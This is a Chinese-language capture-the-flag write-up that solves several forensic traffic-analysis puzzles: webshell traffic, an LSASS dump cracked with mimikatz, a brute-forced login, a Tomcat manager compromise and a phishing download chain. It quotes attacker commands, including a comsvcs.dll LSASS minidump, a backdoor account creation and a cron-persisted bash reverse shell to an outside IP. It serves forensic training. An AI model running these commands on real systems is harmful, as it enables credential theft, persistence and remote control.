蚁剑流量分析

1.木马的连接密码是多少

http.request.method==POST

flag{1}

2.黑客执行的第一个命令是什么

根据第一个流量包的返回是(www-data) gid=33(www-data) groups=33(www-data),得知使用了id命令

flag{id}

3.黑客读取了哪个文件的内容,提交文件绝对路径

根据第三个流量包,得知读取了/etc/passwd

flag{/etc/passwd}

4.黑客上传了什么文件到服务器,提交文件名

根据第四个流量包的

Form item: “t41ffbc5fb0c04” = “0ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA==”

取值的第二位开始偏移然后base64解码,因为前两位是随机字符用于混淆的

flag{flag.txt}

5.黑客上传的文件内容是什么

Form item: “ld807e7193493d” = “666C61677B77726974655F666C61677D0A”

蚁剑上传文件内容会被16进制编码

flag{write_flag}

6.黑客下载了哪个文件,提交文件绝对路径

第五个流量包得到根据上述同样方式得到

flag{/var/www/html/config.php}

蚂蚁爱上树

1. 管理员Admin账号的密码是什么?

首先过滤POST方式来查找webshell,发现product2.php非常可疑基本可以确定是webshell

http.request.uri contains "/onlineshop/product2.php"

根据包的大小排序从大的开始看,依旧是偏移两位再base64解码,在No.15109的包中找到

cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net user admin Password1 /add&echo [S]&cd&echo [E]7

flag{Password1}

2. LSASS.exe的程序进程ID是多少?

在NO.4069发现payload:

cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\Temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]

猜测是转存lsass.exe,用于获取用户哈希密码,所以进程ID是852

3. 用户WIN101的密码是什么?

既然是问用户的明文密码,那么肯定要拿到上一问的OnlineShopBackup.zip

左上角->导出对象->HTTP,根据大小排序,选择最大的四十多M的那个导出,用记事本打开并删除MDMP文件头之前的那几个字符然后保存为.dmp后缀,用mimikatz的模块来得到哈希

mimikaz: https://github.com/ParrotSec/mimikatz/blob/master/x64/mimikatz.exe

PS C:\Users\mikannse\Desktop> .\mimikatz.exe

.#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::minidump product2.dmp
Switch to MINIDUMP : 'product2.dmp'

mimikatz # sekurlsa::logonPasswords full
Opening : 'product2.dmp' file for minidump...

Authentication Id : 0 ; 1183799 (00000000:00121037)
Session : Interactive from 1
User Name : win101
Domain : VULNTARGET
Logon Server : WIN-UH20PRD3EAO
Logon Time : 2023/10/19 11:35:08
SID : S-1-5-21-3374851086-947483859-3378876003-1103
msv :
[00000003] Primary
* Username : win101
* Domain : VULNTARGET
* NTLM : 282d975e35846022476068ab5a3d72df
* SHA1 : bc9ecca8d006d8152bd51db558221a0540c9d604
* DPAPI : 8d6103509e746ac0ed9641f7c21d7cf7
tspkg :
wdigest :
* Username : win101
* Domain : VULNTARGET
* Password : (null)
kerberos :
* Username : win101
* Domain : VULNTARGET.COM
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 1183771 (00000000:0012101b)
Session : Interactive from 1
User Name : win101
Domain : VULNTARGET
Logon Server : WIN-UH20PRD3EAO
Logon Time : 2023/10/19 11:35:08
SID : S-1-5-21-3374851086-947483859-3378876003-1103
msv :
[00000003] Primary
* Username : win101
* Domain : VULNTARGET
* NTLM : 282d975e35846022476068ab5a3d72df
* SHA1 : bc9ecca8d006d8152bd51db558221a0540c9d604
* DPAPI : 8d6103509e746ac0ed9641f7c21d7cf7
tspkg :
wdigest :
* Username : win101
* Domain : VULNTARGET
* Password : (null)
kerberos :
* Username : win101
* Domain : VULNTARGET.COM
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 995 (00000000:000003e3)
Session : Service from 0
User Name : IUSR
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2023/10/19 11:26:36
SID : S-1-5-17
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
ssp :
credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2023/10/19 11:26:13
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 70900 (00000000:000114f4)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2023/10/19 11:26:11
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : WIN10$
* Domain : VULNTARGET
* NTLM : 005bfe6deb871c027d2423009396909f
* SHA1 : 13cd32ae0fe6a42b23e6a7def795b2769ee078f8
tspkg :
wdigest :
* Username : WIN10$
* Domain : VULNTARGET
* Password : (null)
kerberos :
* Username : WIN10$
* Domain : vulntarget.com
* Password : 4a 0f d8 eb ab 65 d8 c8 98 97 8c f2 d6 c2 f1 30 e0 7c 75 00 ac 04 0d 24 26 96 8c 84 68 6a c5 72 86 24 f2 96 b8 e4 f8 d6 1e 91 97 9d 1c aa b3 7b 98 b5 ea 15 9f cb 44 4d 7b 3e 7e 65 c9 29 64 3d bb aa f0 aa 1b d0 52 02 ba 4e e8 73 d5 f2 2c 1b bf 40 03 a8 d2 47 23 c8 aa f1 fc ba d8 fa 84 e4 81 59 1b 3c 3d f3 d4 10 f6 47 d2 38 f8 f9 b0 53 e3 0a 34 2c ba 19 a4 ba 14 62 ce 9c 69 d5 e2 14 d1 e1 be a3 bc c9 41 25 78 ab 6d c2 8c 4f 1e 8e ec d8 7c 1c 92 28 53 bd 5c 7c db d1 d1 da 5e 47 28 0d 96 2c 9e b4 37 a1 44 3c 65 64 20 d5 ac cd c3 e7 db 6d 7d 58 79 16 14 9e 93 e4 39 5a 53 59 79 10 66 ae 6c 9e cc 77 32 f1 e4 1b 5f d8 9c c6 aa 71 5c 60 11 84 7a 8d 0e 2e c4 52 6a 58 26 89 90 c0 9c cf cb a1 ae 11 f1 24 1d 78 a8 d5 ef df
ssp :
credman :

Authentication Id : 0 ; 70284 (00000000:0001128c)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2023/10/19 11:26:11
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : WIN10$
* Domain : VULNTARGET
* NTLM : 005bfe6deb871c027d2423009396909f
* SHA1 : 13cd32ae0fe6a42b23e6a7def795b2769ee078f8
tspkg :
wdigest :
* Username : WIN10$
* Domain : VULNTARGET
* Password : (null)
kerberos :
* Username : WIN10$
* Domain : vulntarget.com
* Password : 4a 0f d8 eb ab 65 d8 c8 98 97 8c f2 d6 c2 f1 30 e0 7c 75 00 ac 04 0d 24 26 96 8c 84 68 6a c5 72 86 24 f2 96 b8 e4 f8 d6 1e 91 97 9d 1c aa b3 7b 98 b5 ea 15 9f cb 44 4d 7b 3e 7e 65 c9 29 64 3d bb aa f0 aa 1b d0 52 02 ba 4e e8 73 d5 f2 2c 1b bf 40 03 a8 d2 47 23 c8 aa f1 fc ba d8 fa 84 e4 81 59 1b 3c 3d f3 d4 10 f6 47 d2 38 f8 f9 b0 53 e3 0a 34 2c ba 19 a4 ba 14 62 ce 9c 69 d5 e2 14 d1 e1 be a3 bc c9 41 25 78 ab 6d c2 8c 4f 1e 8e ec d8 7c 1c 92 28 53 bd 5c 7c db d1 d1 da 5e 47 28 0d 96 2c 9e b4 37 a1 44 3c 65 64 20 d5 ac cd c3 e7 db 6d 7d 58 79 16 14 9e 93 e4 39 5a 53 59 79 10 66 ae 6c 9e cc 77 32 f1 e4 1b 5f d8 9c c6 aa 71 5c 60 11 84 7a 8d 0e 2e c4 52 6a 58 26 89 90 c0 9c cf cb a1 ae 11 f1 24 1d 78 a8 d5 ef df
ssp :
credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WIN10$
Domain : VULNTARGET
Logon Server : (null)
Logon Time : 2023/10/19 11:26:10
SID : S-1-5-20
msv :
[00000003] Primary
* Username : WIN10$
* Domain : VULNTARGET
* NTLM : 005bfe6deb871c027d2423009396909f
* SHA1 : 13cd32ae0fe6a42b23e6a7def795b2769ee078f8
tspkg :
wdigest :
* Username : WIN10$
* Domain : VULNTARGET
* Password : (null)
kerberos :
* Username : win10$
* Domain : VULNTARGET.COM
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 47524 (00000000:0000b9a4)
Session : Interactive from 0
User Name : UMFD-0
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 2023/10/19 11:26:09
SID : S-1-5-96-0-0
msv :
[00000003] Primary
* Username : WIN10$
* Domain : VULNTARGET
* NTLM : 005bfe6deb871c027d2423009396909f
* SHA1 : 13cd32ae0fe6a42b23e6a7def795b2769ee078f8
tspkg :
wdigest :
* Username : WIN10$
* Domain : VULNTARGET
* Password : (null)
kerberos :
* Username : WIN10$
* Domain : vulntarget.com
* Password : 4a 0f d8 eb ab 65 d8 c8 98 97 8c f2 d6 c2 f1 30 e0 7c 75 00 ac 04 0d 24 26 96 8c 84 68 6a c5 72 86 24 f2 96 b8 e4 f8 d6 1e 91 97 9d 1c aa b3 7b 98 b5 ea 15 9f cb 44 4d 7b 3e 7e 65 c9 29 64 3d bb aa f0 aa 1b d0 52 02 ba 4e e8 73 d5 f2 2c 1b bf 40 03 a8 d2 47 23 c8 aa f1 fc ba d8 fa 84 e4 81 59 1b 3c 3d f3 d4 10 f6 47 d2 38 f8 f9 b0 53 e3 0a 34 2c ba 19 a4 ba 14 62 ce 9c 69 d5 e2 14 d1 e1 be a3 bc c9 41 25 78 ab 6d c2 8c 4f 1e 8e ec d8 7c 1c 92 28 53 bd 5c 7c db d1 d1 da 5e 47 28 0d 96 2c 9e b4 37 a1 44 3c 65 64 20 d5 ac cd c3 e7 db 6d 7d 58 79 16 14 9e 93 e4 39 5a 53 59 79 10 66 ae 6c 9e cc 77 32 f1 e4 1b 5f d8 9c c6 aa 71 5c 60 11 84 7a 8d 0e 2e c4 52 6a 58 26 89 90 c0 9c cf cb a1 ae 11 f1 24 1d 78 a8 d5 ef df
ssp :
credman :

Authentication Id : 0 ; 47512 (00000000:0000b998)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 2023/10/19 11:26:09
SID : S-1-5-96-0-1
msv :
[00000003] Primary
* Username : WIN10$
* Domain : VULNTARGET
* NTLM : 005bfe6deb871c027d2423009396909f
* SHA1 : 13cd32ae0fe6a42b23e6a7def795b2769ee078f8
tspkg :
wdigest :
* Username : WIN10$
* Domain : VULNTARGET
* Password : (null)
kerberos :
* Username : WIN10$
* Domain : vulntarget.com
* Password : 4a 0f d8 eb ab 65 d8 c8 98 97 8c f2 d6 c2 f1 30 e0 7c 75 00 ac 04 0d 24 26 96 8c 84 68 6a c5 72 86 24 f2 96 b8 e4 f8 d6 1e 91 97 9d 1c aa b3 7b 98 b5 ea 15 9f cb 44 4d 7b 3e 7e 65 c9 29 64 3d bb aa f0 aa 1b d0 52 02 ba 4e e8 73 d5 f2 2c 1b bf 40 03 a8 d2 47 23 c8 aa f1 fc ba d8 fa 84 e4 81 59 1b 3c 3d f3 d4 10 f6 47 d2 38 f8 f9 b0 53 e3 0a 34 2c ba 19 a4 ba 14 62 ce 9c 69 d5 e2 14 d1 e1 be a3 bc c9 41 25 78 ab 6d c2 8c 4f 1e 8e ec d8 7c 1c 92 28 53 bd 5c 7c db d1 d1 da 5e 47 28 0d 96 2c 9e b4 37 a1 44 3c 65 64 20 d5 ac cd c3 e7 db 6d 7d 58 79 16 14 9e 93 e4 39 5a 53 59 79 10 66 ae 6c 9e cc 77 32 f1 e4 1b 5f d8 9c c6 aa 71 5c 60 11 84 7a 8d 0e 2e c4 52 6a 58 26 89 90 c0 9c cf cb a1 ae 11 f1 24 1d 78 a8 d5 ef df
ssp :
credman :

Authentication Id : 0 ; 46559 (00000000:0000b5df)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2023/10/19 11:26:07
SID :
msv :
[00000003] Primary
* Username : WIN10$
* Domain : VULNTARGET
* NTLM : 005bfe6deb871c027d2423009396909f
* SHA1 : 13cd32ae0fe6a42b23e6a7def795b2769ee078f8
tspkg :
wdigest :
kerberos :
ssp :
credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WIN10$
Domain : VULNTARGET
Logon Server : (null)
Logon Time : 2023/10/19 11:26:07
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : WIN10$
* Domain : VULNTARGET
* Password : (null)
kerberos :
* Username : win10$
* Domain : VULNTARGET.COM
* Password : (null)
ssp :
credman :

282d975e35846022476068ab5a3d72df,在线网站解的:admin#123

flag{admin#123}

waf 上的截获的黑客攻击流量

黑客成功登录系统的密码 flag{xxxxxxxxxxxxxxx}

既然是登录,那么查找login界面

http.request.uri contains "/admin/login.php" && http.request.method==POST

发现是存在一个爆破行为,根据length进行排序,如果是登陆成功的话,长度肯定和别的包不同

发现长度为754的包是答案

Form item: “password” = “admin!@#pass123”

flag{admin!@#pass123}

黑客发现的关键字符串 flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

关键字符串,那么猜测包含flag,并且黑客发现,那么肯定是在response中,于是过滤

http.response && frame contains "flag"

发现: flag:87b7cb79481f317bde90c116cf36084b\r\n

flag{87b7cb79481f317bde90c116cf36084b}

黑客找到的数据库密码 flag{xxxxxxxxxxxxxxxx}

因为是找数据库密码

http.response && frame contains "db"

根据长度排序,上面第二个包就是数据库文件

// database password
$dbpass = “e667jUPvJjXHvEUv”;

flag{e667jUPvJjXHvEUv}

常见攻击事件 tomcat

1、在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}

过滤http请求,流量最多的那个就是攻击者

http.request

flag{14.0.0.120}

2、找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}

在线网站查询: https://www.chaipip.com/

flag{guangzhou}

3、哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222}

/manager路由是管理面板,查看端口是8080

flag{8080}

4、经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称}

查看请求头,发现: User-Agent: gobuster/3.6

flag{gobuster}

5、攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码? flag格式:flag{root-123}

登录那肯定是在/manager路由,并且tomcat manager的登录时GET请求,凭证是保存在请求头的Authorization: Basic 中并且以base64编码形式,那么查看找到response为200是登录成功

http contains "/manager" 

Authorization: Basic YWRtaW46YWRtaW4=

flag{admin-tomcat}

6、攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt}

上传肯定是POST,过滤完就一条流量,根据表单的名字能得到上传反弹shell的名字

http.request.method==POST

flag{JXQOZY.war}

7、攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息

根据上文的反弹shell之后,维持提权一般使用后门反弹shell,那么排除掉之前的8080端口和SMB的22端口,第二条就是shell中的流量

tcp.port !=8080 && tcp.port != 22 && !smb2
whoami
root
cd /tmp
pwd
/tmp
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'" > cron
crontab -i cron

crontab -l
* * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'

flag{/bin/bash -c ‘bash -i >& /dev/tcp/14.0.0.120/443 0>&1’}

小王公司收到的钓鱼邮件

分析恶意程序访问了内嵌 URL 获取了 zip 压缩包,该 URL 是什么将该 URL作为 FLAG 提交 FLAG(形式:flag{xxxx.co.xxxx/w0ks//?YO=xxxxxxx}) (无需 http、https);

frame contains ".zip"

就一条流量

GET /w0ks//?YO=1702920835 HTTP/1.1
Host: tsdandassociates.co.sz
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://tsdandassociates.co.sz/w0ks/?92444881
Accept-Encoding: gzip, deflate
Accept-Language: en

flag{tsdandassociates.co.sz/w0ks//?YO=1702920835}

分析获取到的 zip 压缩包的 MD5 是什么 作为 FLAG 提交 FLAG(形式:flag{md5});

导出HTTP对象中导出该压缩包

┌──(mikannse㉿kali)-[~/桌面]
└─$ md5sum %3fYO=1702920835
f17dc5b1c30c512137e62993d1df9b2f %3fYO=1702920835

flag{f17dc5b1c30c512137e62993d1df9b2f}

分析 zip 压缩包通过加载其中的 javascript 文件到另一个域名下载后续恶意程序, 该域名是什么?提交答案:flag{域名}(无需 http、https)

看上去是一个通过字符串拼接函数来实现的

有一个可疑变量是h,t,t,p开头的,拼接得到域名为:shakyastatuestrade.com

flag{shakyastatuestrade.com}